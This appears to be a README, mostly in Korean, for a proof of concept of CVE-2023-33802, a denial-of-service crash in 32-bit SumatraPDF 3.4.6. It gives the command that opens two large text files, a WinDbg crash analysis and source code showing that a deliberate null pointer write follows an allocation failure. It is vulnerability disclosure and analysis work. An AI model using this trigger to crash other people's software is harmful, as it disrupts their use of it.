cdacesec/cve-2023-33802SumatraPDF 3.4.6 32비트의 서비스 거부 취약점인 CVE-2023-33802에 대한 개념 증명으로, 두 개의 큰 텍스트 파일을 열 때 널 포인터 쓰기 및 충돌을 유발합니다.
first.txt & second.txt)을 SumatraPDF 32비트에 입력으로 열 때 발생하는 충돌을 다룹니다.SumatraPDF.exe first.txt second.txt
다음 충돌이 발생했습니다.
Microsoft (R) Windows Debugger Version 10.0.22000.194 X86
Copyright (c) Microsoft Corporation. All rights reserved.
Loading Dump File [C:\Users\Administrator\Downloads\sumatrapdf-3.4.6rel\sumatrapdf-3.4.6rel\out\dbg32\crashinfo\sumatrapdfcrash.dmp]
User Mini Dump File: Only registers, stack and portions of memory are available
Symbol search path is: srv*
Executable search path is:
Windows 10 Version 19044 MP (12 procs) Free x86 compatible
Product: WinNt, suite: SingleUserTS
Edition build lab: 19041.1.amd64fre.vb_release.191206-1406
Machine Name:
Debug session time: Tue Sep 27 14:18:04.000 2022 (UTC + 5:30)
System Uptime: not available
Process Uptime: 0 days 0:04:07.000
..............
This dump file has an exception of interest stored in it.
The stored exception information can be accessed via .ecxr.
(22a4.a40): Access violation - code c0000005 (first/second chance not available)
For analysis of this file, run !analyze -v
eax=c0000034 ebx=020fe29c ecx=00000000 edx=00000000 esi=00000000 edi=0000029c
eip=772629fc esp=020fe0f0 ebp=020fe160 iopl=0 nv up ei pl nz ac pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216
ntdll!NtWaitForSingleObject+0xc:
772629fc c20c00 ret 0Ch
0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for SumatraPDF.exe
KEY_VALUES_STRING: 1
Key : AV.Dereference
Value: NullPtr
Key : AV.Fault
Value: Write
Key : Analysis.CPU.mSec
Value: 2827
Key : Analysis.DebugAnalysisManager
Value: Create
Key : Analysis.Elapsed.mSec
Value: 3238
Key : Analysis.Init.CPU.mSec
Value: 640
Key : Analysis.Init.Elapsed.mSec
Value: 12340
Key : Analysis.Memory.CommitPeak.Mb
Value: 118
Key : Timeline.Process.Start.DeltaSec
Value: 247
Key : WER.OS.Branch
Value: vb_release
Key : WER.OS.Timestamp
Value: 2019-12-06T14:06:00Z
Key : WER.OS.Version
Value: 10.0.19041.1
Key : WER.Process.Version
Value: 3.4.6.0
CONTEXT: (.ecxr)
eax=00000000 ebx=01e76000 ecx=00000000 edx=00000000 esi=007914b5 edi=007914b5
eip=77257a6e esp=020ffbc8 ebp=020ffbd0 iopl=0 nv up ei pl nz na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
ntdll!_RtlUserThreadStart+0x1b:
77257a6e cc int 3
Resetting default scope
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 0089b083 (SumatraPDF!CrashMe+0x00000013)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 00000000
Attempt to write to address 00000000
PROCESS_NAME: SumatraPDF.exe
WRITE_ADDRESS: 00000000
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE_STR: c0000005
EXCEPTION_PARAMETER1: 00000001
EXCEPTION_PARAMETER2: 00000000
FAULTING_THREAD: ffffffff
STACK_TEXT:
0089b083 0089b083 SumatraPDF!CrashMe+0x13
FAULTING_SOURCE_LINE: C:\Users\Administrator\Downloads\sumatrapdf-3.4.6rel\sumatrapdf-3.4.6rel\src\utils\BaseUtil.h
FAULTING_SOURCE_FILE: C:\Users\Administrator\Downloads\sumatrapdf-3.4.6rel\sumatrapdf-3.4.6rel\src\utils\BaseUtil.h
FAULTING_SOURCE_LINE_NUMBER: 200
FAULTING_SOURCE_CODE:
196: // but it seemed to confuse callstack walking
197: inline void CrashMe() {
198: char* p = nullptr;
199: // cppcheck-suppress nullPointer
> 200: *p = 0; // NOLINT
201: }
202: #if COMPILER_MSVC
203: #pragma warning(pop)
204: #endif
205:
SYMBOL_NAME: SumatraPDF!CrashMe+13
MODULE_NAME: SumatraPDF
IMAGE_NAME: SumatraPDF.exe
STACK_COMMAND: .ecxr ; kb ; ** Pseudo Context ** Pseudo ** Value: d ** ; kb
FAILURE_BUCKET_ID: NULL_POINTER_WRITE_CONTEXT_MISMATCH_c0000005_SumatraPDF.exe!CrashMe
OS_VERSION: 10.0.19041.1
BUILDLAB_STR: vb_release
OSPLATFORM_TYPE: x86
OSNAME: Windows 10
IMAGE_VERSION: 3.4.6.0
FAILURE_ID_HASH: {1595dcef-2e27-85d9-39da-85ddbd1355a2}
Followup: MachineOwner
---------
0:000> !msec.exploitable
!exploitable 1.6.0.0
Warning: Unable to read from the TEB in the current thread.
Warning: Unable to read from the TEB in the current thread.
Exploitability Classification: UNKNOWN
Recommended Bug Title: User Mode Write AV near NULL starting at ntdll!_RtlUserThreadStart+0x000000000000001b (Hash=0xcc3d4e45.0x55921273)
User mode write access violations that are near NULL are unknown.
if (s->buf == s->els) {
newEls = (char*)Allocator::Alloc(s->allocator, allocSize);
if (newEls) {
memcpy(newEls, s->buf, s->len + 1);
}
} else {
newEls = (char*)Allocator::Realloc(s->allocator, s->els, allocSize);
}
if (!newEls) {
CrashAlwaysIf(gAllowAllocFailure.load() == 0);
return nullptr;
}
CrashAlwaysIf 매크로는 메모리 할당 실패를 처리하기 위해 EnsureCap 함수에서 호출됩니다. Alloc 또는 Realloc 함수가 널 포인터를 반환하여 메모리 할당이 실패했음을 나타내면, CrashAlwaysIf 매크로가 호출되어 의도적으로 프로그램을 충돌시킵니다. 내부적으로 CrashMe 함수를 호출하여 널 포인터에 널이 아닌 값을 설정하기 때문에, 프로그램이 널 포인터를 역참조하려고 할 때 액세스 위반이 발생합니다. 이로 인해 예외가 발생하고 프로그램이 중단됩니다.이 취약점은 다음 버전에서 테스트되었습니다.